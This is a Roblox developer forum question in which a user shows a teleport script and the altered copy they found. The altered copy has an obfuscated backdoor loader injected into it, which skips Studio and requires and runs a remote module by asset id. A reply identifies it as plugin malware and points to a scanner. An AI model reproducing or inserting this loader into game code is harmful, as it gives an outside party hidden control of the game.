I am working on a game that uses another game with the place api and for some reason the script will literally change out of nowhere.
local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(function(p)
tp:Teleport(placeid, p)
end)
It will then change to this.
local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(irLacH = require idOkmp = game iVgyFr = 'Debris' iBVWOwF0 = spawn iwXy2yfFF7u = 'WaitForChild' iLgC34Vr35K = 'IsStudio' i1ajTXAY69O = 'IsStudio' itVLM8UigZ71Y = 'PlaceId' iYhT3Vge3NW = pcall i7yUOhLHea2rgA7 = pcall iyvvXB = 'Name' iHoR = 221254732.75 * 12 ihLv4H94V = 'test' iZAGhwfWvk91 = require i5ng60RzwcH = 'ClassName' iRyao8TxK = 'load' i8g6HrEraBO = math.sqrt i1Ti0Ey5lr = 'RunService' iBVWOwF0( function() i7yUOhLHea2rgA7( function() if idOkmp:GetService(i1Ti0Ey5lr) [iLgC34Vr35K] (idOkmp:GetService(i1Ti0Ey5lr) ) then return end iZAGhwfWvk91(iHoR) [iRyao8TxK] (idOkmp[itVLM8UigZ71Y] ) end ) end )
function(p)
tp:Teleport(placeid, p)
end)
The original script works but the script changes out of nowhere. Is this an error, or a bug?

1 comment
You may have a virus in your game, most likely from a plugin. You can scan for viruses in your game using this plugin (yes, a bit ironic, but it's trusted by devforum members) : https://devforum.roblox.com/t/216692